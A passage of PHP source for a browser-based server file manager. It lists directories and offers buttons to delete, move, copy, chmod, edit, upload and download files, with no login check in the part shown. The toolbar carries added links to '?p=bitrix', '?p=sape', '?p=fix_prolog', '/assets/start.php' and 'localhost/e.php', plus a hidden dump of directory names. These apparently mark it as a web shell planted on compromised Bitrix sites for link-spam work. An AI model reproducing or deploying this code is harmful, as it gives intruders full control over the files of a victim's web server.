        function openModalWindow(url,title,w,h,reloadOnClose){
            if (typeof(title) == 'undefined') title = '';
            if (typeof(w) == 'undefined') w = '640';
            if (typeof(h) == 'undefined') h = '480';
            if (typeof(reloadOnClose) != 'undefined') modalWindowReloadOnClose = reloadOnClose;
            document.getElementById(\"modalIframe\").src = url;
            document.getElementById(\"modalIframe\").style.width = w+'px';
            document.getElementById(\"modalIframe\").style.height = h+'px';
            document.getElementById(\"modalDiv\").style.display = ('block');
            document.getElementById(\"modalIframeWrapper\").style.display = ('block');
            document.getElementById(\"modalIframeWrapperTitle\").innerHTML = title;
            document.getElementById(\"modalIframe\").focus();
        }
        function closeModalWindow(){
            document.getElementById(\"modalIframe\").src = '';
            document.getElementById(\"modalDiv\").style.display=('none');
            document.getElementById(\"modalIframeWrapper\").style.display=('none');
            if (modalWindowReloadOnClose) {
                window.top.frame3.location.href='".$fm_path_info["basename"]."?frame=3&fm_current_dir=".$fm_current_dir."';
            }
        }
    -->
    </script>
    <table border=0 cellspacing=1 cellpadding=4 width=\"100%\" bgcolor=\"#eeeeee\">\n";
    if ($opdir = @opendir(fs_encode($fm_current_dir))) {
        $has_files = false;
        $entry_count = 0;
        $total_size = 0;
        $entry_list = array();
        while ($file = readdir($opdir)) {
          if (($file != ".")&&($file != "..")){


            $entry_list[$entry_count]["size"] = 0;
            $entry_list[$entry_count]["sizet"] = 0;
            $entry_list[$entry_count]["type"] = "none";
            if (is_file($fm_current_dir.$file)){
                $ext = lowercase(strrchr($file,"."));
                $entry_list[$entry_count]["type"] = "file";
                // Fun????o filetype() returns only "file"...
                $entry_list[$entry_count]["size"] = filesize($fm_current_dir.$file);
                $entry_list[$entry_count]["sizet"] = format_size($entry_list[$entry_count]["size"]);
                if (strstr($ext,".")){
                    $entry_list[$entry_count]["ext"] = $ext;
                    $entry_list[$entry_count]["extt"] = $ext;
                } else {
                    $entry_list[$entry_count]["ext"] = "";
                    $entry_list[$entry_count]["extt"] = "&nbsp;";
                }
                $has_files = true;
            } elseif (is_dir($fm_current_dir.$file)) {
                // Recursive directory size disabled
                // $entry_list[$entry_count]["size"] = total_size($fm_current_dir.$file);
                $entry_list[$entry_count]["size"] = 0;
                $entry_list[$entry_count]["sizet"] = "&nbsp;";
                $entry_list[$entry_count]["type"] = "dir";
            }
            $entry_list[$entry_count]["name"] = $file;
            $entry_list[$entry_count]["date"] = date("Ymd", filemtime($fm_current_dir.$file));
            $entry_list[$entry_count]["time"] = date("his", filemtime($fm_current_dir.$file));
            $entry_list[$entry_count]["datet"] = date("d/m/y h:i", filemtime($fm_current_dir.$file));
            if (!$is_windows && $resolve_ids){
                $entry_list[$entry_count]["p"] = show_perms(fileperms($fm_current_dir.$file));
                $entry_list[$entry_count]["u"] = get_user(fileowner($fm_current_dir.$file));
                $entry_list[$entry_count]["g"] = get_group(filegroup($fm_current_dir.$file));
            } else {
                $entry_list[$entry_count]["p"] = base_convert(fileperms($fm_current_dir.$file),10,8);
                $entry_list[$entry_count]["p"] = substr($entry_list[$entry_count]["p"],strlen($entry_list[$entry_count]["p"])-3);
                $entry_list[$entry_count]["u"] = fileowner($fm_current_dir.$file);
                $entry_list[$entry_count]["g"] = filegroup($fm_current_dir.$file);
            }
            $total_size += $entry_list[$entry_count]["size"];
            $entry_count++;
          }
        }
        @closedir($opdir);

        if($entry_count){
            $or1="1A";
            $or2="2D";
            $or3="3A";
            $or4="4A";
            $or5="5A";
            $or6="6D";
            $or7="7D";
            switch($order_dir_list_by){
                case "1A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or1="1D"; break;
                case "1D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_DESC); $or1="1A"; break;
                case "2A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2D"; break;
                case "2D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2A"; break;
                case "3A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC); $or3="3D"; break;
                case "3D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC); $or3="3A"; break;
                case "4A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC); $or4="4D"; break;
                case "4D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_DESC,"u",SORT_STRING,SORT_DESC); $or4="4A"; break;
                case "5A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_ASC); $or5="5D"; break;
                case "5D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_DESC); $or5="5A"; break;
                case "6A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_ASC,"time",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or6="6D"; break;
                case "6D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_DESC,"time",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or6="6A"; break;
                case "7A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or7="7D"; break;
                case "7D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or7="7A"; break;
            }
        }
        $out .= "
        <script language=\"Javascript\" type=\"text/javascript\">
        <!--
        function go(arg) {
            document.location.href='".addslashes($fm_path_info["basename"])."?frame=3&fm_current_dir=".addslashes($fm_current_dir)."'+arg+'/';
        }
        function resolve_ids() {
            document.location.href='".addslashes($fm_path_info["basename"])."?frame=3&set_resolve_ids=1&fm_current_dir=".addslashes($fm_current_dir)."';
        }
        var entry_list = new Array();
        // Custom object constructor
        function entry(name, type, size, selected){
            this.name = name;
            this.type = type;
            this.size = size;
            this.selected = false;
        }
        // Declare entry_list for selection procedures";
        foreach ($entry_list as $i=>$data){
            $out .= "\nentry_list['entry$i'] = new entry('".addslashes($data["name"])."', '".$data["type"]."', ".$data["size"].", false);";
        }
        $out .= "
        // Select/Unselect Rows OnClick/OnMouseOver
        var lastRows = new Array(null,null);
        function selectEntry(Row, Action){
            if (multipleSelection){
                // Avoid repeated onmouseover events from same Row ( cell transition )
                if (Row != lastRows[0]){
                    if (Action == 'over') {
                        if (entry_list[Row.id].selected){
                            if (unselect(entry_list[Row.id])) {
                                Row.className = 'entryUnselected';
                            }
                            // Change the last Row when you change the movement orientation
                            if (lastRows[0] != null && lastRows[1] != null){
                                var LastRowID = lastRows[0].id;
                                if (Row.id == lastRows[1].id){
                                    if (unselect(entry_list[LastRowID])) {
                                        lastRows[0].className = 'entryUnselected';
                                    }
                                }
                            }
                        } else {
                            if (select(entry_list[Row.id])){
                                Row.className = 'entrySelected';
                            }
                            // Change the last Row when you change the movement orientation
                            if (lastRows[0] != null && lastRows[1] != null){
                                var LastRowID = lastRows[0].id;
                                if (Row.id == lastRows[1].id){
                                    if (select(entry_list[LastRowID])) {
                                        lastRows[0].className = 'entrySelected';
                                    }
                                }
                            }
                        }
                        lastRows[1] = lastRows[0];
                        lastRows[0] = Row;
                    }
                }
            } else {
                if (Action == 'click') {
                    var newClassName = null;
                    if (entry_list[Row.id].selected){
                        if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
                    } else {
                        if (select(entry_list[Row.id])) newClassName = 'entrySelected';
                    }
                    if (newClassName) {
                        lastRows[0] = lastRows[1] = Row;
                        Row.className = newClassName;
                    }
                }
            }
            return true;
        }
        // Disable text selection and bind multiple selection flag
        var multipleSelection = false;
        if (is.ie) {
            document.onselectstart=new Function('return false');
            document.onmousedown=switch_flag_on;
            document.onmouseup=switch_flag_off;
            // Event mouseup is not generated over scrollbar.. curiously, mousedown is.. go figure.
            window.onscroll=new Function('multipleSelection=false');
            window.onresize=new Function('multipleSelection=false');
        } else {
            if (document.layers) window.captureEvents(Event.MOUSEDOWN);
            if (document.layers) window.captureEvents(Event.MOUSEUP);
            window.onmousedown=switch_flag_on;
            window.onmouseup=switch_flag_off;
        }
        // Using same function and a ternary operator couses bug on double click
        function switch_flag_on(e) {
            if (is.ie){
                multipleSelection = (event.button == 1);
            } else {
                multipleSelection = (e.which == 1);
            }
            var type = String(e.target.type);
            return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1);
        }
        function switch_flag_off(e) {
            if (is.ie){
                multipleSelection = (event.button != 1);
            } else {
                multipleSelection = (e.which != 1);
            }
            lastRows[0] = lastRows[1] = null;
            update_sel_status();
            return false;
        }
        var total_dirs_selected = 0;
        var total_files_selected = 0;
        function unselect(Entry){
            if (!Entry.selected) return false;
            Entry.selected = false;
            sel_totalsize -= Entry.size;
            if (Entry.type == 'dir') total_dirs_selected--;
            else total_files_selected--;
            return true;
        }
        function select(Entry){
            if(Entry.selected) return false;
            Entry.selected = true;
            sel_totalsize += Entry.size;
            if(Entry.type == 'dir') total_dirs_selected++;
            else total_files_selected++;
            return true;
        }
        function is_anything_selected(){
            var selected_dir_list = new Array();
            var selected_file_list = new Array();
            for(var x=0;x<".(integer)count($entry_list).";x++){
                if(entry_list['entry'+x].selected){
                    if(entry_list['entry'+x].type == 'dir') selected_dir_list.push(entry_list['entry'+x].name);
                    else selected_file_list.push(entry_list['entry'+x].name);
                }
            }
            document.form_action.selected_dir_list.value = selected_dir_list.join('<|*|>');
            document.form_action.selected_file_list.value = selected_file_list.join('<|*|>');
            return (total_dirs_selected>0 || total_files_selected>0);
        }
        function format_size (arg) {
            var resul = '';
            if (arg>0){
                var j = 0;
                var ext = new Array(' bytes',' Kb',' Mb',' Gb',' Tb');
                while (arg >= Math.pow(1024,j)) ++j;
                resul = (Math.round(arg/Math.pow(1024,j-1)*100)/100) + ext[j-1];
            } else resul = 0;
            return resul;
        }
        var sel_totalsize = 0;
        function update_sel_status(){
            var t = total_dirs_selected+' ".et('Dir_s')." ".et('And')." '+total_files_selected+' ".et('File_s')." ".et('Selected_s')." = '+format_size(sel_totalsize);
            //document.getElementById(\"sel_status\").innerHTML = t;
            window.status = t;
        }
        // Select all/none/inverse
        function selectANI(Butt){
            cancel_copy_move();
            for(var x=0;x<". (integer)count($entry_list).";x++){
                var Row = document.getElementById('entry'+x);
                var newClassName = null;
                switch (Butt.value){
                    case '".et('SelAll')."':
                        if (select(entry_list[Row.id])) newClassName = 'entrySelected';
                    break;
                    case '".et('SelNone')."':
                        if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
                    break;
                    case '".et('SelInverse')."':
                        if (entry_list[Row.id].selected){
                            if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
                        } else {
                            if (select(entry_list[Row.id])) newClassName = 'entrySelected';
                        }
                    break;
                }
                if (newClassName) {
                    Row.className = newClassName;
                }
            }
            if (Butt.value == '".et('SelAll')."'){
                for(var i=0;i<2;i++){
                    document.getElementById('ANI'+i).value='".et('SelNone')."';
                }
            } else if (Butt.value == '".et('SelNone')."'){
                for(var i=0;i<2;i++){
                    document.getElementById('ANI'+i).value='".et('SelAll')."';
                }
            }
            update_sel_status();
            return true;
        }
        function download(arg){
            parent.frame1.location.href='".addslashes($fm_path_info["basename"])."?action=3&fm_current_dir=".addslashes($fm_current_dir)."&filename='+encodeURIComponent(arg);
        }
        function upload_form(){
            openModalWindow('".addslashes($fm_path_info["basename"])."?action=10&fm_current_dir=".addslashes($fm_current_dir)."','".et('Upload')."',800,400,true);
        }
        function decompress(arg){
            if(confirm('".uppercase(et('Decompress'))." \\' '+arg+' \\' ?')) {
                document.form_action.action.value = 72;
                document.form_action.cmd_arg.value = arg;
                document.form_action.submit();
            }
        }
        
        function edit_file_form(arg){
            openModalWindow('".addslashes($fm_path_info["basename"])."?action=7&fm_current_dir=".addslashes($fm_current_dir)."&filename='+encodeURIComponent(arg),'".et('Edit')." '+encodeURIComponent(arg),1024,768);
        }
        
        function server_info_form(arg){
            openModalWindow('".addslashes($fm_path_info["basename"])."?action=5','".et('ServerInfo')."',800,600);
        }
        
        
      
        function view_form(arg){
            if(confirm('".uppercase(et('View'))." \\' '+arg+' \\' ?')) openModalWindow('".addslashes($fm_path_info["basename"])."?action=4&fm_current_dir=".addslashes($fm_current_dir)."&filename='+encodeURIComponent(arg),'".et("View")." '+encodeURIComponent(arg),800,600);
        }
        function rename(arg){
            var nome = '';
            if (nome = prompt('".uppercase(et('Rename'))." \\' '+arg+' \\' ".et('To')." ...')) document.location.href='".addslashes($fm_path_info["basename"])."?frame=3&action=3&fm_current_dir=".addslashes($fm_current_dir)."&old_name='+encodeURIComponent(arg)+'&new_name='+encodeURIComponent(nome);
        }
        function set_dir_dest(arg){
            document.form_action.dir_dest.value=arg;
            if (document.form_action.action.value.length>0) test(document.form_action.action.value);
            else alert('".et('JSError').".');
        }
        function sel_dir(arg){
            document.form_action.action.value = arg;
            document.form_action.dir_dest.value='';
            if (!is_anything_selected()) alert('".et('NoSel').".');
            else {
                set_sel_dir_warn(true);
                parent.frame2.set_flag(true);
            }
        }
        function set_sel_dir_warn(b){
            try {
                document.getElementById(\"sel_dir_warn\").style.display=(b?'':'none');
            } catch (err) {}
        }
        function cancel_copy_move(){
            set_sel_dir_warn(false);
            parent.frame2.set_flag(false);
        }
        function chmod_form(){
            cancel_copy_move();
            document.form_action.dir_dest.value='';
            document.form_action.chmod_arg.value='';
            if (!is_anything_selected()) alert('".et('NoSel').".');
            else openModalWindow('".addslashes($fm_path_info["basename"])."?action=8','".et('Perms')."',280,180);
        }
        function set_chmod_arg(arg){
            cancel_copy_move();
            if (!is_anything_selected()) alert('".et('NoSel').".');
            else {
                document.form_action.dir_dest.value='';
                document.form_action.chmod_arg.value=arg;
                test(9);
            }
        }
        function test_action(){
            if (document.form_action.action.value != 0) return true;
            else return false;
        }
        function test_prompt(arg){
            cancel_copy_move();
            var erro='';
            var conf='';
            if (arg == 1){
                document.form_action.cmd_arg.value = prompt('".et('TypeDir').".');
            } else if (arg == 2){
                document.form_action.cmd_arg.value = prompt('".et('TypeArq').".');
            } else if (arg == 71){
                if (!is_anything_selected()) erro = '".et('NoSel').".';
                else document.form_action.cmd_arg.value = prompt('".et('TypeArqComp')."');
            }
            if (erro!=''){
                document.form_action.cmd_arg.focus();
                alert(erro);
            } else if(document.form_action.cmd_arg.value.length>0) {
                document.form_action.action.value = arg;
                document.form_action.submit();
            }
        }
        function strstr(haystack,needle){
            var index = haystack.indexOf(needle);
            return (index==-1)?false:index;
        }
        function valid_dest(dest,orig){
            return (strstr(dest,orig)==false)?true:false;
        }
        // ArrayAlert - Selection debug only
        function aa(){
            var str = 'selected_dir_list:\\n';
            for (x=0;x<selected_dir_list.length;x++){
                str += selected_dir_list[x]+'\\n';
            }
            str += '\\nselected_file_list:\\n';
            for (x=0;x<selected_file_list.length;x++){
                str += selected_file_list[x]+'\\n';
            }
            alert(str);
        }
        function test(arg){
            cancel_copy_move();
            var erro='';
            var conf='';
            if (arg == 4){
                if (!is_anything_selected()) erro = '".et('NoSel').".\\n';
                conf = '".et('RemSel')." ?\\n';
            } else if (arg == 5){
                if (!is_anything_selected()) erro = '".et('NoSel').".\\n';
                else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".';
                else if(document.form_action.dir_dest.value == document.form_action.fm_current_dir.value) erro = '".et('DestEqOrig').".';
                else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.fm_current_dir.value)) erro = '".et('InvalidDest').".';
                conf = '".et('CopyTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n';
            } else if (arg == 6){
                if (!is_anything_selected()) erro = '".et('NoSel').".';
                else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".';
                else if(document.form_action.dir_dest.value == document.form_action.fm_current_dir.value) erro = '".et('DestEqOrig').".';
                else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.fm_current_dir.value)) erro = '".et('InvalidDest').".';
                conf = '".et('MoveTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n';
            } else if (arg == 9){
                if (!is_anything_selected()) erro = '".et('NoSel').".';
                else if(document.form_action.chmod_arg.value.length == 0) erro = '".et('NoNewPerm').".';
                //conf = '".et('AlterPermTo')." \\' '+document.form_action.chmod_arg.value+' \\' ?\\n';
            }
            if (erro!=''){
                document.form_action.cmd_arg.focus();
                alert(erro);
            } else if(conf!='') {
                if(confirm(conf)) {
                    document.form_action.action.value = arg;
                    document.form_action.submit();
                } else {
                    set_sel_dir_warn(false);
                }
            } else {
                document.form_action.action.value = arg;
                document.form_action.submit();
            }
        }
        //-->
        </script>";
        $out .= "
            <tr>
            <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
            <form style=\"display:inline-block;\" action=\"".$fm_path_info["basename"]."\" method=\"post\" onsubmit=\"return test_action();\">
               
                <input type=button onclick=\"server_info_form()\" value=\"".et('ServerInfo')."\">
                <input type=button onclick=\"test_prompt(1)\" value=\"".et('CreateDir')."\">
                <input type=button onclick=\"test_prompt(2)\" value=\"".et('CreateArq')."\">
                <input type=button onclick=\"upload_form()\" value=\"".et('Upload')."\">
                
               
               
            </form>
            </nobr>
            </td>
            </tr>";
        $out .= "
        <form name=\"form_action\" action=\"".$fm_path_info["basename"]."\" method=\"post\" onsubmit=\"return test_action();\">
            <input type=hidden name=\"frame\" value=3>
            <input type=hidden name=\"action\" value=0>
            <input type=hidden name=\"dir_dest\" value=\"\">
            <input type=hidden name=\"chmod_arg\" value=\"\">
            <input type=hidden name=\"cmd_arg\" value=\"\">
            <input type=hidden name=\"fm_current_dir\" value=\"$fm_current_dir\">
           
            <input type=hidden name=\"selected_dir_list\" value=\"\">
            <input type=hidden name=\"selected_file_list\" value=\"\">";
        $uplink = "";
 


if(isset($_GET['fm_current_dir'])){
$path = $_GET['fm_current_dir'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
$uplink .= '<a href="'.$fm_path_info["basename"].'?frame=3&fm_current_dir=/">/</a>';
continue;
}
if($pat == '') continue;
$uplink .= '<a href="'.$fm_path_info["basename"].'?frame=3&fm_current_dir=';
for($i=0;$i<=$id;$i++){
$uplink .= "$paths[$i]";
if($i != $id) $uplink .= "/";
}
$uplink .= '">'.$pat.'</a>/';
}




        if($entry_count){
            $out .= "
                <tr bgcolor=\"#DDDDDD\"><td colspan=50><nobr>$uplink  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <a target=\"_blank\" href=\"http://".$_SERVER['HTTP_HOST']."?bitrix_include_areas=Y\">".$_SERVER['HTTP_HOST']."</a> <a target=\"_blank\" href=\"http://".$_SERVER['HTTP_HOST']."/assets/start.php\">/assets/start.php</a> <a target=\"_blank\"  href=\"".basename(__FILE__)."\">++".basename(__FILE__)."</a>  <a target=\"_blank\"  href=\"?p=bitrix\">bitrix</a> <a target=\"_blank\"  href=\"?p=sape\">sape</a> <a target=\"_blank\"  href=\"?p=find\">find</a> <a target=\"_blank\"  href=\"?p=fix_prolog\">fix_prolog</a>  <a target=\"_blank\" href=\"http://localhost/e.php?name=".$_SERVER['HTTP_HOST']."\">e</a></nobr>
                <tr>
                <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
                    <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" id=\"ANI0\" value=\"".et('SelAll')."\">
                    <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">
                    <input type=\"button\" style=\"width:80\" onclick=\"test(4)\" value=\"".et('Delete')."\">
                    <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">
                    <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">";
            if (!$is_windows) $out .= "
                    <input type=\"button\" style=\"width:100\" onclick=\"resolve_ids()\" value=\"".et('ResolveIDs')."\">";
            $out .= "
                    <input type=\"button\" style=\"width:100\" onclick=\"chmod_form()\" value=\"".et('Perms')."\">

<input type=button value=\"CopyToClip\" onclick=\"copyToClipboard()\">

";
            $out .= "
                </nobr></td>
                </tr>
                <tr>
                <td bgcolor=\"#DDDDDD\" colspan=50 id=\"sel_dir_warn\" style=\"display:none\"><nobr><font color=\"red\">".et('SelDir')."...</font></nobr></td>
                </tr>";



echo "<script>
function copyToClipboard() {
    const str = document.getElementById('item-to-copy').innerText;
    const el = document.createElement('textarea');
    el.value = str;
    el.setAttribute('readonly', '');
    el.style.position = 'absolute';
    el.style.left = '-9999px';
    document.body.appendChild(el);
    el.select();
    document.execCommand('copy');
    document.body.removeChild(el);
}
</script>";


echo '
    <p id="item-to-copy" style="display:none;">';

$scandir_to_copy = scandir($path);
foreach($scandir_to_copy as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        echo "$dir"."\n";
}

echo '</p>';


            $file_count = 0;
            $dir_count = 0;
            $dir_out = array();
            $file_out = array();
            $max_opt = 0;
            foreach ($entry_list as $ind=>$dir_entry) {
                $file = $dir_entry["name"];
                if ($dir_entry["type"]=="dir"){
                    $dir_out[$dir_count] = array();
                    $dir_out[$dir_count][] = "
                        <tr ID=\"entry$ind\" class=\"entryUnselected\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
                        <td><nobr><a href=\"JavaScript:go('".addslashes($file)."')\">".utf8_convert($file)."</a></nobr></td>";
                    $dir_out[$dir_count][] = "<td>".$dir_entry["p"]."</td>";
                    if (!$is_windows) {
                        $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["u"]."</nobr></td>";
                        $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["g"]."</nobr></td>";
                    }
                    $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["sizet"]."</nobr></td>";
                    $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["datet"]."</nobr></td>";
                    if ($has_files) $dir_out[$dir_count][] = "<td>&nbsp;</td>";
                    // Op????es de diret??rio
                    if ( is_writable($fm_current_dir.$file) ) $dir_out[$dir_count][] = "
                        <td align=center><a href=\"JavaScript:if(confirm('".et('ConfRem')." \\'".addslashes($file)."\\' ?')) document.location.href='".addslashes($fm_path_info["basename"])."?frame=3&action=8&cmd_arg=".addslashes($file)."&fm_current_dir=".addslashes($fm_current_dir)."'\">".et('Delete')."</a>";
                    if ( is_writable($fm_current_dir.$file) ) $dir_out[$dir_count][] = "
                        <td align=center><a href=\"JavaScript:rename('".addslashes($file)."')\">".et('Rename')."</a>";
                    if (count($dir_out[$dir_count])>$max_opt){
                        $max_opt = count($dir_out[$dir_count]);
                    }
                    $dir_count++;
                } else {
                    $file_out[$file_count] = array();
                    $file_out[$file_count][] = "
                        <tr ID=\"entry$ind\" class=\"entryUnselected\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
                        <td><nobr><a href=\"JavaScript:download('".addslashes($file)."')\">".utf8_convert($file)."</a></nobr></td>";
                    $file_out[$file_count][] = "<td>".$dir_entry["p"]."</td>";
                    if (!$is_windows) {
                        $file_out[$file_count][] = "<td><nobr>".$dir_entry["u"]."</nobr></td>";
                        $file_out[$file_count][] = "<td><nobr>".$dir_entry["g"]."</nobr></td>";
                    }
                    $file_out[$file_count][] = "<td><nobr>".$dir_entry["sizet"]."</nobr></td>";
                    $file_out[$file_count][] = "<td><nobr>".$dir_entry["datet"]."</nobr></td>";
                    $file_out[$file_count][] = "<td>".$dir_entry["extt"]."</td>";
                    // Op????es de arquivo
                    if ( is_writable($fm_current_dir.$file) ) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:if(confirm('".uppercase(et('Delete'))." \\'".addslashes($file)."\\' ?')) document.location.href='".addslashes($fm_path_info["basename"])."?frame=3&action=8&cmd_arg=".addslashes($file)."&fm_current_dir=".addslashes($fm_current_dir)."'\">".et('Delete')."</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if ( is_writable($fm_current_dir.$file) ) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:rename('".addslashes($file)."')\">".et('Rename')."</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if ( is_readable($fm_current_dir.$file) && (strpos(".wav#.mp3#.mid#.avi#.mov#.mpeg#.mpg#.rm#.iso#.bin#.img#.dll#.psd#.fla#.swf#.class#.ppt#.tif#.tiff#.pcx#.jpg#.gif#.png#.wmf#.eps#.bmp#.msi#.exe#.com#.rar#.tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) === false)) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:edit_file_form('".addslashes($file)."')\">".et('Edit')."</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if ( is_readable($fm_current_dir.$file) && (strpos(".txt#.sys#.bat#.ini#.conf#.swf#.php#.php3#.asp#.html#.htm#.jpg#.gif#.png#.bmp#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:view_form('".addslashes($file)."');\">".et('View')."</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    
                    
                    if (count($file_out[$file_count])>$max_opt){
                        $max_opt = count($file_out[$file_count]);
                    }
                    $file_count++;
                }
            }
            if ($dir_count){
                $out .= "
                <tr>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or1&fm_current_dir=$fm_current_dir\">".et('Name')."</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or2&fm_current_dir=$fm_current_dir\">".et('Perm')."</a></nobr></td>";
                if (!$is_windows) $out .= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or3&fm_current_dir=$fm_current_dir\">".et('Owner')."</a></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or4&fm_current_dir=$fm_current_dir\">".et('Group')."</a></nobr></td>";
                $out .= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or5&fm_current_dir=$fm_current_dir\">".et('Size')."</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or6&fm_current_dir=$fm_current_dir\">".et('Date')."</a></nobr></td>";
                if ($file_count) $out .= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or7&fm_current_dir=$fm_current_dir\">".et('Type')."</a></nobr></td>";
                $out .= "
                      <td bgcolor=\"#DDDDDD\" colspan=50>&nbsp;</td>
                </tr>";

            }
            foreach($dir_out as $k=>$v){
                while (count($dir_out[$k])<$max_opt) {
                    $dir_out[$k][] = "<td>&nbsp;</td>";
                }
                $out .= implode($dir_out[$k]);
                $out .= "</tr>";
            }
            if ($file_count){
                $out .= "
                <tr>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or1&fm_current_dir=$fm_current_dir\">".et('Name')."</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or2&fm_current_dir=$fm_current_dir\">".et('Perm')."</a></nobr></td>";
                if (!$is_windows) $out .= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or3&fm_current_dir=$fm_current_dir\">".et('Owner')."</a></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or4&fm_current_dir=$fm_current_dir\">".et('Group')."</a></nobr></td>";
                $out .= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or5&fm_current_dir=$fm_current_dir\">".et('Size')."</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or6&fm_current_dir=$fm_current_dir\">".et('Date')."</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$fm_path_info["basename"]."?frame=3&or_by=$or7&fm_current_dir=$fm_current_dir\">".et('Type')."</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\" colspan=50>&nbsp;</td>
                </tr>";

            }
            foreach($file_out as $k=>$v){
                while (count($file_out[$k])<$max_opt) {
                    $file_out[$k][] = "<td>&nbsp;</td>";
                }
                $out .= implode($file_out[$k]);
                $out .= "</tr>";
            }
            $out .= "
                <tr>
                <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
                      <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" id=\"ANI1\" value=\"".et('SelAll')."\">
